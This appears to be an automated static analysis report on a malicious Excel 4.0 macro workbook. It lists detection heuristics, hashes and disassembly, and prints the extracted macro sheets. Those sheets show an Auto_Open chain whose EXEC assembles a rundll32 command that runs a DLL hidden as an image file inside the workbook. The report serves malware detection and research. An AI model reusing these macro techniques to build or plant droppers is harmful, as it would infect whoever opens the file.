Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b67db7a715f56b1b…

MALICIOUS

Office (OOXML)

640.4 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-29
MD5: d7b1fe964e651748d4dca9867da350ab SHA-1: cc8952b851b3f5a9df9be38ed7ae31f05a757502 SHA-256: b67db7a715f56b1bc2f8b8b6d21201b59655f0c9391596845acdacc5e0b16db9
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains critical Excel 4.0 macro sheet heuristics, including the use of dangerous functions like EXEC and GOTO, and an Auto_Open defined name, indicating it's designed to run code upon opening. The macros appear to be constructing a command by concatenating strings and then executing it, likely to download and run a secondary payload. The presence of PEB access and LoadLibrary API references further suggests malicious execution.

Heuristics 8

  • ClamAV: Xls.Downloader.GreenEnable06210-9869360-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.GreenEnable06210-9869360-0
  • Excel 4.0 macro sheet (3 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: GOTO, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • PEB access via FS segment (x86) high SC_PEB_ACCESS
    PEB access via FS segment (x86)
    Disassembly
    Attempted x86 opcode disassembly
    00043C40  64a130000000      mov eax, dword ptr fs:[0x30]
00043C46  8945f8            mov dword ptr [ebp - 8], eax
00043C49  8b45f8            mov eax, dword ptr [ebp - 8]
00043C4C  8945fc            mov dword ptr [ebp - 4], eax
00043C4F  837d0800          cmp dword ptr [ebp + 8], 0
00043C53  750b              jne 0x43c60
00043C55  8b4dfc            mov ecx, dword ptr [ebp - 4]
00043C58  8b4108            mov eax, dword ptr [ecx + 8]
00043C5B  e945010000        jmp 0x43da5
00043C60  8b55fc            mov edx, dword ptr [ebp - 4]
00043C63  8b420c            mov eax, dword ptr [edx + 0xc]
00043C66  8945f0            mov dword ptr [ebp - 0x10], eax
00043C69  c745e400000000    mov dword ptr [ebp - 0x1c], 0
00043C70  c745e800000000    mov dword ptr [ebp - 0x18], 0
00043C77  c745ec00000000    mov dword ptr [ebp - 0x14], 0
00043C7E  8b4df0            mov ecx, dword ptr [ebp - 0x10]
00043C81  83c10c            add ecx, 0xc
00043C84  894de4            mov dword ptr [ebp - 0x1c], ecx
00043C87  8b55f0            mov edx, dword ptr [ebp - 0x10]
00043C8A  83c214            add edx, 0x14
00043C8D  8955e8            mov dword ptr [ebp - 0x18], edx
00043C90  8b45f0            mov eax, dword ptr [ebp - 0x10]
00043C93  83c01c            add eax, 0x1c
00043C96  8945ec            mov dword ptr [ebp - 0x14], eax
00043C99  c745f400000000    mov dword ptr [ebp - 0xc], 0
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 4 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1648 bytes
SHA-256: 3b0842c3feb9ed67b33a34a48dfc280d3096f5a2c314be3f5faf78e2baa667ed
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{92BAA9A6-CCD7-4C96-B244-8027D75B3DA4}"><dimension ref="H23:I28"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="9.140625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="7" width="9.140625" style="2"/><col min="8" max="8" width="14.85546875" style="2" bestFit="1" customWidth="1"/><col min="9" max="16384" width="9.140625" style="2"/></cols><sheetData><row r="23" spans="8:9" x14ac:dyDescent="0.25"><c r="H23" s="2" t="b"><f>SAVE.COPY.AS(I23)</f><v>0</v></c><c r="I23" s="2" t="s"><v>0</v></c></row><row r="28" spans="8:9" x14ac:dyDescent="0.25"><c r="H28" s="2" t="e"><f>GOTO(Nolaert!AK19)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 1804 bytes
SHA-256: 7d4a55654500227df147871fd9677ba5c24aa7c22083d410272b3fc52dfde2a3
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0200-000000000000}"><dimension ref="AK703:AK717"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="14.140625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="36" width="14.140625" style="2"/><col min="37" max="37" width="37.42578125" style="2" bestFit="1" customWidth="1"/><col min="38" max="16384" width="14.140625" style="2"/></cols><sheetData><row r="703" spans="37:37" x14ac:dyDescent="0.25"><c r="AK703" s="2" t="b"><f>EXEC(Bkidydj!L15&amp;Bkidydj!L16&amp;Bkidydj!L17)=NOW()=NOW()=NOW()</f><v>0</v></c></row><row r="706" spans="37:37" x14ac:dyDescent="0.25"><c r="AK706" s="2" t="b"><f>WAIT(NOW()+"00:00:07")</f><v>0</v></c></row><row r="717" spans="37:37" x14ac:dyDescent="0.25"><c r="AK717" s="2" t="e"><f>GOTO(Bkidydj!G5)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet3.xml 2260 bytes
SHA-256: 83e3d47a6c45235934593bf9c8e8c38200b3b0117516d839726b31aeac579c0f
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{72FD7C7A-A3BA-4BD4-A707-DDD14281DB2B}"><dimension ref="E14:L31"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="6" width="8.7109375" style="2"/><col min="7" max="7" width="5.85546875" style="2" customWidth="1"/><col min="8" max="16384" width="8.7109375" style="2"/></cols><sheetData><row r="14" spans="7:12" x14ac:dyDescent="0.25"><c r="G14" s="2"><f>EXEC(E29&amp;E30&amp;E31)=NOW()</f><v>0</v></c></row><row r="15" spans="7:12" x14ac:dyDescent="0.25"><c r="L15" s="2" t="str"><f>"tar -x"</f><v>tar -x</v></c></row><row r="16" spans="7:12" x14ac:dyDescent="0.25"><c r="L16" s="2" t="s"><v>2</v></c></row><row r="17" spans="5:12" x14ac:dyDescent="0.25"><c r="L17" s="2" t="s"><v>1</v></c></row><row r="19" spans="5:12" x14ac:dyDescent="0.25"><c r="G19" s="2" t="b"><f>HALT()</f><v>0</v></c></row><row r="29" spans="5:12" x14ac:dyDescent="0.25"><c r="E29" s="2" t="str"><f>"run"</f><v>run</v></c></row><row r="30" spans="5:12" x14ac:dyDescent="0.25"><c r="E30" s="2" t="str"><f>"dll32 ..\xl\media\im"</f><v>dll32 ..\xl\media\im</v></c></row><row r="31" spans="5:12" x14ac:dyDescent="0.25"><c r="E31" s="2" t="str"><f>"age2.gif,StartW"</f><v>age2.gif,StartW</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

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